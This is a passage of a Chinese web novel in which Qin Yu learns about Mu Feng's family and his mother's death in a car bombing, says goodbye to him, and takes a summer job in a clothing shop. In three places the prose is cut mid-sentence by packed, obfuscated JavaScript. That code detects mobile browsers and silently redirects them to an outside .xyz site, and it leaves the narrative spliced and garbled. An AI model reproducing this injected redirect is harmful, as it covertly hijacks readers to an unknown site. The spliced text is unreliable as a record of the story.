“你怎么连姐姐的醋都吃?” 穆逢面色微怒,“我没有姐姐。” “切,明明小时候叫我姐姐叫得可甜了。” 穆逢斜睨她一眼,“你几岁?总提过去的事,有意思吗?” “好好好,不提就不提。不过,你总不能让千里迢迢从大洋彼岸赶来的姐姐,让顾不上吃饭就去派出所捞你的姐姐,饿着肚子回去吧?” 穆逢就像没听见一样,拉起秦遇往自己的摩托车走去,“走,我送你回家。” “我骑妈妈的小木兰来的。”秦遇指指停在另一侧的红色小摩托。 穆望亭紧走两步,走到秦遇另一侧,拉起她的手,眨了眨水汪汪的大眼睛,“妹妹,你肯定不会让姐姐饿着肚子的,请远道而来的姐姐吃顿饭,好不好?” “好……”秦遇慢慢点了点头。 穆逢眉头紧锁,“别太好说话,不能她说什么你都答应。” “可是,穆逢,你姐姐从国外赶来看你,又来派出所找你,说明她真得很关心你,你让她饿着肚子,真不合适。” 穆望亭贴近她的肩膀,一脸委屈地点点头,“说的是呢,还是小遇妹妹知道疼人。” 穆逢不悦地看着她,“喂,穆望亭,你不能这么叫她。” “啧啧啧,连个称呼都要计较,真是没治了,将来……唉……” 她故意夸张地叹一口气。 秦遇拉了拉穆逢的袖子,“其实,刚才着急过来,我也没吃饭。” 穆逢当即改口,“你怎么不早说,走,我带你去吃饭,吃烤肉行不行?” “喂,别忘了你亲爱的姐姐。” 穆逢瞪她一眼,“死缠烂打。” 穆望亭一脸骄傲,“那怎么了,我就是靠死缠烂打拿下你姐夫的。” 最后,秦遇骑着小木兰,载着穆逢,穆望亭骑着穆逢的摩托,一起向一家烤肉店驶去。 五月的晚风,都带着令人沉醉的味道。 烤肉店里,穆望亭展露大姐本色,大手一挥,指向半个大厅外的一个桌子,“穆逢,你去坐那边,我和小遇妹妹坐这桌。” 穆逢竭力克制着抽搐的眉头,“什么时候轮到你来对我指手画脚了?我想坐哪里就坐哪里。” “不是这个意思,我和小遇妹妹有很多女生之间的私密话题要聊,你一个大男生杵在这里,不方便。” 穆望亭说着,对秦遇使了使眼色。 秦遇想了想,这两个人一碰面就吵个不停,的确分开吃比较好,而且,穆望亭大概是要跟她说些不想让穆逢知道的话。 她看向穆逢,“要不,你就去那边吃吧?” 穆逢沉默不语,显然很不高兴。 她继续说,“你就让我们说会话吧,反正就在这里,你也能看见。姐姐大老远赶来,你应该对她好一点。” 穆逢抿紧嘴唇,半天才说话, “行,我就坐在那边,等你们结束,我就送你回家。” 又看向穆望亭,冷着声音说,“别太晚,她明天还要上课。” “知道了,你快点过去吧。” 这是一家韩式烤肉店,每天营业到晚上2点,9点多正是人多的时候,店里人头攒动,许多人的说话声在氤氲的热气里不断上升,融成极具烟火气的白噪音。 浅磁盘里的肉串滋滋冒着热气,焦香的鸡皮滴出油脂,一口热汤下肚,五脏六腑都活泛起来。 穆逢一个人坐在小桌边,一副闷闷不乐的模样,不停往这边看。 穆望亭对秦遇竖起大拇指,“还得是你!没想到我行我素的穆逢,也会被人教训。” 秦遇汗颜,“我有教训他吗?” “有啊,不过我看,他挺享受被你教训的。” 穆望亭说着,凝视着面前升起的热气,陷入回忆,“我记得,已经十多年没见过他这么乖顺的模样了。” 秦遇不好意思地笑了一下,“穆姐姐,你想跟我聊些什么?” “其实也没什么,就是听老爷子说他恋爱了,过来看看。” “恋爱”两个字,让秦遇一时语塞,竟忘了要说的话。 “哎呀真可爱,这样就脸红了,果然是少男少女的纯真恋情。”穆望亭说着,就要伸手捏秦遇的脸,被穆逢一瞪,又收回手。 秦遇内心腹诽,如果你知道我实际年龄比你还大,不知道你会怎么想? 不过眼下,她只是哈哈一笑,维持懵懂少女模样。 “说起来,穆逢在你面前这么听话,倒让我想起他小时候,我第一次见他,他只有三岁,长得又白又嫩,说话奶声奶气,又有礼貌,真是可爱死了。” 奶声奶气?又白又嫩? 秦遇眼前立刻浮现穆逢那张浸满冷意的英俊面孔,随时散发着生人勿近的气息。 她忍不住回头看了穆逢一眼,两人的视线在半空交汇,穆逢挑了挑眉,眼眸深处漾出一抹柔软。 秦遇收回视线,实在是很难把这些词和穆逢联系在一起。 “那,他是怎么变成现在这样的?” 穆望亭咽下嘴里的烤肉,幽幽道,“自从他发现他爸妈是因家族联姻而结合,彼此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199303|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都各有爱人的时候。” 秦遇心里咯噔一下。 穆望亭的语气平静无波,像是在说今天天气真好。 见秦遇不说话,穆望亭拍了拍她的手,“安啦,没事的,有钱人家这种情况太多了,以后见多了你就习惯了。” 秦遇喃喃道,“难怪你说你们是同父异母。” 穆望亭笑了笑,竖起一根手指冲她摇了摇,“不过我妈妈可不是小三,她和我爸是大学同学,也是彼此的初恋,穆逢他妈还没嫁给我爸的时候,我就出生了。” 这段话里的信息有点绕,秦遇皱着眉思索了片刻,“你是说,你们的爸爸,先和你妈妈恋爱生下你,然后,又娶了穆逢的妈妈,但是期间,穆老先生和你妈妈,一直没有分手?” 穆望亭点点头,“没错,简单粗暴地说,我妈是我爸的外室。” “外室”? 这个封建色彩浓厚的词让秦遇不知该如何接话,穆望亭倒是毫不在意,反而主动对她说,“你不用这样小心翼翼,在这个圈子里,这都不算什么,养外室的多了去了。不过,我爸妈是真爱,结婚前,结婚后,他对妈妈和我一直不变,除了娶了穆逢的妈妈,他再没有过别的女人。我也从不觉得自己低人一等。” “那……穆逢的妈妈,一直都知道你和你妈妈的存在?” “当然。”穆望亭咬下一块烤得金黄的鸡肉,不紧不慢地咀嚼后咽下,又喝了一口汤,再度开口。 “她不在乎,因为她也有自己的爱人。” 穆望亭说着,压低了声音,“他妈妈的爱人,是她的钢琴老师,他们经常一起演出。” “演出?” “没错,他妈妈叫洛照云,是很有名气的钢琴家,穆逢三岁就跟着她在维也纳金色大厅演奏了。小小的他,穿着黑色的西装,打着领结,站在他妈妈身边拉小提琴,结束的时候,会认真向观众鞠躬。” 难怪他钢琴弹得那样好,原来是家学渊源。 原来他还会拉小提琴。 可是,在这些耀眼的光辉之下,一个残酷的真相逐渐凸显。 他的出生,不是因为爱,而是因为利益结合的需要。 “他是什么时候知道,父母各有爱人的?” 穆望亭用手撑住额头,眯起眼睛,回忆道,“大概是七八岁的时候,从那以后,我就没听他叫过一声姐姐,他也很少笑了。” 穆望亭的声音很轻,一字一字却重重地砸在她心上。 她想起穆逢带她看烟花的除夕夜,他曾经说,自己要一个人过除夕。 是不是从七八岁开始,他就觉得自己是一个多余的人了。 爸爸妈妈各有真爱,而他,只是两个家族联姻的产物。 生下他,彼此的任务就算完成,可以转身继续爱所爱的人。 而他,生下来就要承担起家族的责任和期待。 “他爸爸妈妈,爱他吗?” “当然爱他,非常爱。不过,他可能不这么想。小时候,他明明很喜欢爸爸,会骑在爸爸肩头笑嘻嘻地叫我姐姐,一起出去玩,他那时候一直以为我是爸爸好朋友的孩子。” “后来,他知道了我是爸爸的孩子,就不再理我了,就连看见爸爸,也总是爱搭不理。他那时以为爸爸出轨,背叛了他妈妈,对爸爸怀着恨意,和他吵过很多次。” “再后来,他知道她妈妈也有情人,就变沉默了。”? 手边的汤已经冷掉,烤肉滴落的油脂,也失去了香味,腻腻地堆在盘边。 她吸了吸鼻子,“穆逢实在太可怜了。” “听说,前年他妈妈因为车祸走了。” 穆望亭的表情变得有些古怪。 “他跟你说,他妈妈是车祸去世的?” 秦遇敏锐地察觉到不对,反问,“不是吗?” 穆望亭不留痕迹地朝穆逢那边瞥了一眼,然后探过头,用压得极低的声音说。 “不是车祸,是爆炸。” 53. 告别 努力把嘴角扬起, “她妈妈坐在车里,一启动引擎,车子就爆炸了,人当场就没了。” 有那么一会,秦遇脑中一片空白,几乎忘了自己是谁,为什么坐在这里。 然后,她听见自己的声音像从很远的地方传来。 “穆逢呢?当时穆逢在哪里?” “他刚从酒店出来,离车子比较远,没什么事。不过,他舅舅就倒霉了,离车太近,被炸伤一条腿,到现在都站不起来。” “真可惜了,那么帅的舅舅。” 也就是说,穆逢是亲眼看着妈妈在自己面前死去的?还是以爆炸这种惨烈的方式? 难过像海潮一样无止尽地袭来,几乎将她淹没。 “是谁干的?” 穆望亭摇摇头,“不知道,那是辆新车,踏板下面被人装了炸药,一启动就引爆。” “不过,穆逢觉得是我爸找人干的,他固执地认为,是我爸要杀了他妈妈,然后,我爸就能娶我妈了。可是,我爸根本不是那样的人。” 秦遇的太阳穴突突得跳起来,跳得她头晕目眩。 就算是要停妻再娶,也没有必要搞出这种惨剧吧?和平分手不行吗? 她隐隐感觉到,这件事背后有一个巨大的黑幕,在看不见的暗处,有一双眼睛怀着恶意、流着毒汁,算计着穆逢。 对了,还有一件事! 上一世的穆逢,死在暗巷,凶手始终未找到,而他的妈妈,也是这样离奇惨死,这两件事之间,应该有某种联系吧? 会不会是同一个人干得? 心跳瞬间飙升,秦遇死死盯着穆望亭。 “这是你们家的隐私吧,我们只是第一次见面,为什么要告诉我这些?” 穆望亭无所谓地耸耸肩,“爆炸的事早就上了意大利的地方版头条,算不上什么隐私。” “说这些,是因为穆逢听你的话,我希望你能劝劝他,在没有证据之前,不要怀疑爸爸、玩失联。爸爸一直有在请人调查这件事,他很想尽快找出凶手。” “爸爸的病情又加重了,他很想见穆逢,可他从来不接电话、不露面。” 穆望亭说着,幽幽地叹了一口气,“还好有我这个小棉袄在身边,老爷子还能有点笑脸。” 正说着,穆逢忽然站起身走过来,手在桌板上敲了敲,提醒穆望亭,“已经十点多了,你也该吃饱了,别耽误她休息。” 说着,转向秦遇,瞬间皱起眉,“怎么回事?你的脸怎么这么白?” 又不由分说抓起她的手,触手一片凉意。 “手也是凉的!” 他目光一凛,转头恶狠狠地瞪着穆望亭,“你跟她说什么了?把她搞成这个样子?” 一边说,一边脱下外套,不由分说地给秦遇披上。 秦遇拗不过他,只能穿上,低声对他说,“你小点声,这样穆姐姐会很没面子,我们只是闲话家常。” 穆望亭白了穆逢一样,对着秦遇露出明艳的笑容,“还是妹妹好,知道疼人。好了,吃饱了,我要走了。” 秦遇觉得自己该尽地主之谊,起身要去付钱,穆逢抬手拦住她。 “早付过了,走,我送你回家。” 在饭店门口和穆望亭道别,秦遇关心地问,“你要住哪里?订好酒店了吗?” 穆望亭笑得灿烂,“多谢你,不过我要去赶飞机了,我老公正在东京迪士尼乐园等我。” 秦遇有点吃惊,“可是H城的机场还没修好,这么晚了,你要去邻市坐飞机吗?” 穆望亭摇摇头,“不用,我的飞机会来接我。” 秦遇愣了两秒才反应过来,她说的是私人飞机。 果然是大小姐做派。 “别跟她啰嗦这些,我们走。” 穆逢拉起她的手,就要走,穆望亭拉住秦遇另一只手。 “等一下,我有东西给你。” 她的力气很大,秦遇被姐弟两个一左一右拉着,露出为难的神情。 穆逢立刻松开手,穆望亭一副“我就知道你会松开”的得意神态,从精致的法棍包里掏出一个长方形盒子,盒子上系着一条粉蓝色的缎带,她打开盒子,从里面掏出一条沉甸甸的手链,手链上嵌着一颗颗硕大的钻石,在灯光下发出炫目的光。 她拿着就往秦遇手上套。 秦遇慌忙往后退。 穆望亭一把拉住她的手腕,她的力气出奇地大,大得她挣脱不开。 “第一次见面,作姐姐的该送你一份见面礼,来得匆忙,随便选的,你不要嫌弃。” 嫌弃?她怎么敢嫌弃这样珠光宝气的首饰。 她只觉得惶恐不安,不敢接受。 穆逢毫不客气地扯开穆望亭的手,“你吓到她了!” “第一次见面就拿钱砸人,你以为谁都像你老公那么贪财?” 穆望亭不服气地瞪着他,“那怎么了?他爱钱,我有钱,不是刚好天生一对?” 穆逢不耐烦地摆摆手,“赶紧走吧你,别来烦我们。” 秦遇对穆望亭露出一个歉意的笑,“对不起,穆姐姐,这么贵重的礼物,我不能收,谢谢你。” 穆逢骑着秦遇家的小木兰,把她送到家。 她心里记着穆望亭的话,想着要不要跟他提一下他爸的事。 又怕太过突兀,所以犹犹豫豫,一直拖到现在还没开口。 她索性停好小摩托,转过头来送他。 穆逢失笑,“你怎么又反过来送我?” “嗯,吃多了,多走走,消食。” 秦遇把他送到胡同尽头仅有的一盏昏暗路灯下,穆逢站定,转身看向她。 “很晚了,回去吧。” 她“嗯”了一声,抬起头。 昏黄的灯光给他的轮廓镀上一圈柔光,让他棱角分明的五官柔和了一些。 他的眉骨很高,眉形利落干净,下面是一双黑耀石一样的眼睛。 她心里暗暗想,难怪古人形容美男子,都说剑眉星目,一双好看的眉毛,一定要有同样出色的眼睛来配,才算相得益彰。 “怎么还不走?一直看我干什么?” “哦,没什么,还给你的衣服。” 她说着,慌忙低头去脱身上他的外套,脱到一半,忽然“啊”得叫了一声,接着,痛苦地捂住了眼睛。 “怎么了?” 穆逢焦灼的声音在头顶响起,温热的气息从面前传来。 她闭着眼睛也知道,他离得很近。 “好像是睫毛掉进眼睛里了,好疼。” 她不住地眨眼睛,想要试着把睫毛挤出来,又抬手用力揉眼睛。 一只温热的大手握住了她的手。 “别揉,我来看看。” 他拉着她的手,轻轻放下,然后捧起她的脸,然后,两只手不由分说捧起她的脸,轻轻抬起。 秦遇不安地动了动,一道低低的声音在耳边响起,“别动。” “右眼,是不是?” 他只是帮自己,别扭什么呢? 秦遇“嗯”了一声。 “我看见了,是一根睫毛,再忍耐一下,马上就好。” 说着,他换用一只手托着她的下巴,另一只手的两根手指,轻轻撑开她的右眼皮。 下一秒,一股温热的气流吹进眼睛。 一波,又一波。 她眨了眨眼,异物感消失了。 “没事了,吹走了……等一下,先别睁开眼。” 穆逢说着,抬起一根手指,从她右眼的眼尾,拈起那根细丝般微翘的睫毛。 她配合得闭着眼,轻声问, “好了吗?” “嗯。” 他的嗓音沾染几许暗哑,温热的气息喷洒在细薄的眼皮上。 她知道,他一定离得很近。 就在她犹豫要不要睁开眼的时候,眼睛上忽然传来一阵轻柔温热的触感。 像蝴蝶扇动翅膀,像羽扇轻轻拂过。 有点痒。 他在她的眼角,落下一个吻。 意识到这是什么后,她浑身一窒,随即,一种紧张又愉悦的电流瞬间过遍全身。 他的一只手,还托着她的脸。 也不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204904|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道过了多久,好像有一秒那么短,又好像有一辈子那么长,他忽然松开她。 她睁开眼,看见穆逢略带慌乱的神情,和明显起伏的胸口。 这个吻来得太过突然,于他而言,是一瞬间的彻底失控。在理智回神之前,身体已经自动吻了下去。 他抿了抿唇,借以掩饰自己的不安。 秦遇知道,自己也没好到哪里去,身体里像有一团火在烧,烧得她头昏脑涨、口干舌燥。 她从没有像此刻这样庆幸,庆幸这盏路灯破旧不堪,灯光昏黄又暧昧不清,掩盖了她红得一塌糊涂的脸。 然后,她想起穆望亭的话,想起送他走到这里的原因,瞬间冷静下来。 她清了清嗓子,“你要不要回去,看看你爸爸?穆姐姐说,他的病加重了。” 穆逢的表情肉眼可见地黯淡了一下。 “她跟你说了什么?” “说了很多。” 他目光灼灼地注视着她,像是要看进她心里去。 秦遇不擅长撒谎,索性一扬头,也直勾勾地回视他。 “你小时候的事,还有,你父母和她妈妈的事。” 穆逢沉默片刻,从喉间溢出一声轻呵。 “好了,现在你也知道了,我只是一桩利益结合的产物。” “不,不是这样的,父母总归是爱孩子的。” 看着她着急的模样,穆逢笑了笑,脸上的阴霾去了大半。 “你呀,别太容易相信别人。老头子要真是病重了,她还怎么有心思去东京迪士尼?她可是老头子一手带大的。” 秦遇想了想,不由一阵泄气,“你说得对,我怎么没想到。” 不过,这事也不能怪她,要怪只能怪今晚一时间接收了太多爆炸信息,她的脑子已经过载。 “秦遇。” 他忽然叫她的名字,语气少见的郑重。 他很少连名带姓地叫她,秦遇下意思地“啊”了一声,看着他的眼睛透出疑问。 穆逢弯腰靠近她,和她对视。 他那英俊而轮廓分明的面孔,骤然放大,她能感受到他呼吸的热气,看清他瞳孔里自己的倒影。 然后,她听见他说,“我要走了。” 她看着他的眼睛,忽然明白过来,这个“要走了”,不是指“现在回家”那么简单。 穆逢继续说下去,“我要离开这里,去处理一些事,如果一切顺利,明年这个时候,我会再回来。” “离开H城,转学?” 他看着她的眼睛,点了点头,“没错。” 有那么一会,她没说话,只觉得心里像是破开了一个洞,蔓延扩大,呼呼的风灌进来,冷得她牙齿打颤。 穆逢闭了闭眼,像是下定了某种决心,再睁开眼时,语气都变得冷硬了几分。 “走之后,我可能没有时间发短信、回电话,也没时间上□□。” 不对,她在难过什么呢? 他要走了,要离开H城,她应该高兴啊! 这样一来,她就不用担心今年年底,他会死在那条暗巷! 也不用费尽心机地想着,怎么提醒他注意安全,或是劝说姚摇、大黑一帮人,一起陪他过除夕,以防不测。 尽管这一世,很多事情的发生时间有所变化,但她还是认为,脱离了H城这个场景,那件事大概率不会发生。 想到这里,她的心头又涌上一阵喜悦。 不舍和释然两种情绪在胸口缠斗。 原来,现在就是道别的时刻。 她想要好好跟他道别,她想对他笑一笑,努力把嘴角扬起,眼泪却忽然落下来。 她想说句再见,喉咙里却又热又堵,发不出一个音。 穆逢双臂一伸,一把将她抱在怀里。 少年的清冽气息把她包围。 她的脸埋在他的颈窝,双手攥紧他的衣服后背,眼泪终于放肆地流出来。 “明年这个时候,我一定、一定会回来。” 秦遇强忍着呜咽,点点头,从兜里摸出随身携带的两根棒棒糖,塞进他口袋里。 54. 打工 穆逢走了,走得干干净净,彻彻底底。 跟她道别后的第二天,他就不再来学校。 三天后,宋有才正式在班级里宣布,穆逢已经办完转学手续,离开二中。 从那天起,他的□□头像就总是灰色的,他再没有主动给秦遇发过一条短信、打过一个电话。 是什么样的事情,需要切割地这样彻底? 秦遇想起来,其实他在之前,已经有意识地在疏远她。 不过,即使是在那个时候,她还是能感受到穆逢对自己的在意。 疏远是刻意的,关心是掩饰不住的。 结合穆望亭的话和穆逢妈妈的遭遇,她隐约猜到,穆逢的离开,大概率和家族纷争、利益分割有关。 这些事,他不想细说,她也不便追问,毕竟,她现在的身份、年龄、立场,决定了她帮不上什么忙。 成人世界的经验告诉她,帮不上忙的时候,不添乱也是好的。 穆逢虽然走了,却像是无处不在。 在操场上散步的时候,会看见他敏捷的身影穿梭在队友中,定睛一看,却又没了。 傍晚去车棚推自行车的时候,一晃神,就看见他靠在车棚深处的墙壁上,对她漫不经心地笑。 晚自习回家时,远远看去,总觉得他斜倚在巷子口路灯下等她,走进了才发现,不过是树枝的投影。 她买了很多棒棒糖,全是荔枝味,每件衣服的口袋里都塞了几支。 总觉得他会在某个街角突然出现,向她走来,伸出手要棒棒糖。 秦妈妈担心地问她,“怎么了,小遇,和同学吵架了?还是学习太累?怎么总是一副不开心的样子?” “没事,妈妈,没事,我是缺觉。” 她胡乱扯了个理由,秦妈妈温柔地说,“既然是缺觉,那就多睡、早睡,不要把自己逼太紧,你的成绩一直很好,不要太有压力。” 她连连点头。 晚上,秦征敲门进她卧室,张嘴就问,“大哥真走了?” 秦遇“嗯”了一声。 秦征脸上明显露出失望之色,“多亏他我才拿到玉龙翻甲战袍,现在有人要出500买,我还想把这个好消息告诉他呢。” 又问,“他什么时候回来?” “明年。” “我在□□上找他,他也总不在线。” “嗯,他说没时间上□□。” 秦征恍然大悟,“难怪你最近老是哭丧着脸,你这是失恋了。” 秦遇大怒,“闭嘴,滚出去。” 教室前面的墙壁上,挂着一面锦旗,是顾伯维送来的。“感谢见义勇为”六个金色大字下面,穆逢和宋有才的名字,并排竖列着。 锦旗送来的那天,整个教室的同学都把嘴张成了O型。 穆逢和宋有才的名字,以这种形式放在一起,怎么看都透着诡异。 姚摇见她一脸平静,一把拉住她,“你果然知道,快说说,到底怎么回事。” 秦遇就把当晚鬼火少年逃单又打伤人逃窜,穆逢偶然遇上宋有才,被叫上一起去追凶的经过讲了一遍。 周围的同学越聚越多,最后,就连后排大黑那几个男生也围过来听。 就连班长蔡志高,也借着收作业的名义转了几个来回,假装不在意,实则竖起耳朵听故事。 一众同学听得意犹未尽,只恨秦遇没能亲临现场,把打斗场景绘声绘色地描述出来。 因为这块锦旗,宋有才在同学们眼中的形象有了惊天大逆转,而穆逢则成功达成了“哥不在江湖江湖仍有哥的传说”这一成就。 姚摇把摊开的练习册当扇子,轻轻扇着,幽幽道,“没想到啊,宋土豆也有这样热血沸腾的过去,他天天对我们一板一眼,把规矩、秩序挂在嘴边,这事怎么听也不像他能干出来的!” “是啊,可能每个人都有不为人知的另一面。” 耀眼的阳光打在玻璃上,把它变成一块闪闪发光的水晶。 绿油油的爬山虎悄悄探出头,风吹过,叶片投在课桌上的影子就轻轻摇晃。 不知道从哪一天起,知了忽然叫起来,和沙沙的写字声一起,交织成夏日校园里的永恒伴奏。 期末考试、成绩放榜、返校布置作业,然后,就是漫长而美好的暑假。 “各位观众朋友,下午好,今年夏天,我市气温达到了十五年来的最高峰,提醒各位市民朋友,避免在正午时分出门,避免在阳光下暴晒……” 电视机里传出对高温天气的提醒,接着,本地电视台开始了每年夏季的高温限定节目—“挑战在马路上煎鸡蛋”。 秦遇懒懒地窝在沙发里,看透明的蛋清在烈日暴晒下,慢慢凝固,变成果冻状…… 看着看着,她猛地坐起来。 她不能这么百无聊赖地消沉下去!她还有自己的事要做! 她记得,接下来的十年,是服装行业飞速发展的十年,她想加入这个行业,如果有条件,最好能在成年后开一家属于自己的小店。 暑假来了,她要去本城知名的商业街秀水阁打工,迈开进军服装业、搞钱搞事业的第一步。 凭借前世的记忆,她记得秀水阁里走出了一位服装业的女强人袁知素,她从一片小店做起,十年后自创品牌“ForHer”风靡全国,连锁店开遍大江南北。 她要去秀水阁找她,到她的店里应聘店员,先了解服装知识和进货、卖货技巧。 想到了就去做,在做的过程中再调整。 她迅速冲到洗手台前洗了把脸,三下五除二扎好马尾,涂一层防晒霜,正在整理背包时,妈妈推开门兴冲冲地进来,后面跟着姨妈。 “走,小遇,跟妈妈和姨妈去买房子,现在就去。” 思考了两个月,打探了各方消息后,秦妈妈和姨妈终于下定决心,买城东的楼盘。 秦遇开心地几乎要蹦起来,未来数年,这个楼盘的房价会随着地铁开通水涨船高,成为年轻人争相入住的小区。 一路上,妈妈和姨妈讨论着房子的装修、家具的风格和未来转手的可能,妈妈的语气十分兴奋,脸孔也闪着光采。 秦遇心中暗暗高兴,妈妈的注意力不再全放在爸爸身上,这就意味着爸爸出轨这件事带来的伤害,会小很多。 上一世,家里所有的钱都被爸爸投入再生产,两人因为出轨闹矛盾时,妈妈生气只能回娘家。 现在好了,妈妈拿出家里的积蓄去买房,写在她名下,以后她和爸爸吵架,也多了一个自己的地方可去。 陪着妈妈办理买房手续、联系装修公司、挑选家具,一个星期很快过去,等到这件事尘埃落定,她换上一身利落干练的衣服,去秀水阁找袁知素应聘。 袁知素的小店窝在一个不起眼的角落,门上“forher”两个字的木头招牌,已经有些掉漆,店铺面积很小,却打理得井井有条、错落有致。 在周围一众突出蜂腰大胸的韩版女装店里,这家店走的森女风和中式棉麻风,显得有些格格不入。 听说她的来意,正在理货的袁知素抬头看向她,“最近年轻女孩都喜欢穿韩版衣服,你为什么选择我这里?” 袁知素穿一件浓蓝色扎染罩衣,下身是一条黑咖色九分羊腿裤,浓密的长发编成一条长辫,斜斜搭在胸前,看起来不像个女老板,倒像一位三十多岁的文艺女青年。 秦遇笑眯眯地说,“一路走来,我看到秀水阁里百分之九十的女装店都卖韩版衣服,您却不卖,我的理由,和您差不多。” 袁知素一怔,像是没料到她会这么说。 “女孩子们最近都流行酵素减肥,要把自己塞进XS号的衣服。” 秦遇想起曾在时尚杂志上看到的袁知素专访,“……说到底,维多利亚时代的束腰、韩版修身女装,还有现在流行的bm风,都是对女人身体的束缚和规训,要你白瘦幼……” 她无比赞同这一点,所以记得格外清楚,就化用了她采访中的一句话,“我觉得,还是得人穿衣服,不是衣服穿人,先是舒服,再是好看。” 袁知素露出赞许的目光,把一小箱衣服抱给她,“恭喜你通过面试,先从整理这箱衣服开始吧,暑假期间,月薪3500,双休,如果你能在周末来加班一天,涨到4000。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208957|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>秦遇愉快地接下箱子,“谢谢老板,我这就开工。” 一天下来,秦遇才深刻地意识到,什么叫眼高手低。 卖衣服这件事,不是用眼睛打量、用手抚摸美好的衣服这么简单,最无聊又不得不做的,是不厌其烦地折叠客人试过的衣服。 不过,也有快乐的部分,那就是和客人讨论服饰搭配,每次看到客人搭配出令人眼前一样的组合,在镜子前流连时,她也发自内心地觉得愉快。 她注意到,来袁知素店里的客人大致有两拨,一拨是喜欢森系风的少女,一拨是三十到五十岁的成熟女性。 而这第二拨人,购买力之强大大超出她的认知。 她听过不止一个回头客和同来的姐妹议论,“这家店的裤子最好穿,料子好版型也好,显瘦又不卡裆。” 三十岁往上的女人,更在意衣服的品质和与自身气质的契合度,而且她们手里多少都有些余钱,忠诚度和复购率都很高。 店里的衣服要把高、中、低档次拉开;上新要保持在一定的频率,太频繁了运营压力大,太少了吸引力不够。 做了一个月之后,袁知素开始让她跟着去进货,她也知道了服装行业的利润有多高,比如,一件进价80块钱的牛仔裤,可以卖到240,这还是老粉专属的八折价。 不过,和隔壁那家叫做“首尔女人街”的店相比,袁知素的店算得上良心价。来袁知素店里第一周,她就看见那家店被熟客找来,因为店家声称自己是韩国进货,可是熟客却撞见她从本城服装批发市场大包小包进货,其中就有自己花800块订的风衣。 那件风衣的进价,只有60块。 客人要求退款,店家死活不同意,最后闹到报警,警方查出店家的所谓进货发票是伪造的,店主才不情不愿地退了钱。 因为这件事,那位总是趾高气扬,说话动辄以“我在首尔……”开头的老板,很是低调了一段时间。 总的来说,在这里打工的日子,过得辛苦又充实,而且时常充满意外。 秀水阁是一个三层楼的商场,也被本地人叫做女人街,里面塞满了各种服饰店、美甲店、首饰店。巴黎和纽约的香奈儿新款套装、迪奥最新高定礼服,隔天就会出现在这里的橱窗里,当然是仿货,但能以付得起的价格买到同款,本地人也很高兴。 二楼过道里,有位中年大叔辟了个摊位,卖各种化妆品和护肤品小样,刚开始少有人问津,不过秦遇知道,多年以后,他会因为在自己脸上试妆,成为名噪一时的小网红。 现在,他还没进化到在脸上涂腮红,不过已经开始用脱毛膏给自己脱腿毛,还拍下了脱毛前、脱毛后的对比照,洗出来放大挂在摊位上。 姚摇偶尔来找她玩,给她送水果、奶茶,有空的时候,她们就一起去大叔的摊位上挑选香水小样。 这年头,电商刚刚兴起,远没有发展到把实体经济按在地上摩擦的程度,逛街购物还是更深入人心的消费方式,秀水阁里人头攒动,一个小角落就能开一家店,每到午饭、晚饭时间,过道里飘起麻辣烫、米线、盒饭的香味,这些味道和脂粉气、香水味混杂在一起,构筑起秦遇新的记忆。 暑假一共69天,她在袁知素的店里做了60天,拿了9545块钱,临走那天,袁知素送了她一套高品质亚麻套装,上身是带点复古气息的枪驳领马甲,下身是A字裙,她知道这套衣服的进价比真丝还要高,是法国进口的亚麻,沉甸甸得透出光泽感。 她拒绝,袁知素却劝她收下,“你嘴甜,心思又细腻,记得住客人的喜好和风格,帮我揽了很多新客,最重要的是,你从不偷奸耍滑,这是你应得的。” 秦遇也就不再推辞。 袁知素送她到大路上,又塞给她一杯奶茶,“开学后,如果功课不太忙,欢迎你周末再来,我会优先聘用你。” 秦遇用力点头,和她挥手告别后离开。 她用打工挣到的钱,给妈妈买了一件风衣,给秦征的游戏账户充了200块钱,又买了一大桶棒棒糖,剩下的全存进了银行账户。 然后,她才意识到,夏天结束了,穆逢还是没有消息。 55. 骤变 “好冷,好冷,冻死我了。” 姚摇一进教室,就搓着双手,不停往手里哈气,薄薄的皮肤冻得近似透明,从里面透出绯红来。 秦遇站起来给她让座。 秋去冬来,一年又走到了尾声,他们升入高二,文理分科,秦遇还是选了自己更擅长的文科,分到了十二班。 值得高兴的是,姚摇和徐伟民都和她同班,对了,还有那个喜欢徐伟民的黄越芸,就坐在他旁边,和他隔一条过道。 “咱们放学去吃烤地瓜吧,东门大婶又出来卖烤地瓜了,她的地瓜好,没筋没丝。” “同意同意,吃完再去六大道吃麻辣烫,今天美术老师有事,辅导班推迟到八点,我们俩可以尽情大吃一顿了。” “哎,我也要去,带我一个吧。” 徐伟民从后面探过头来,热情地要加入。 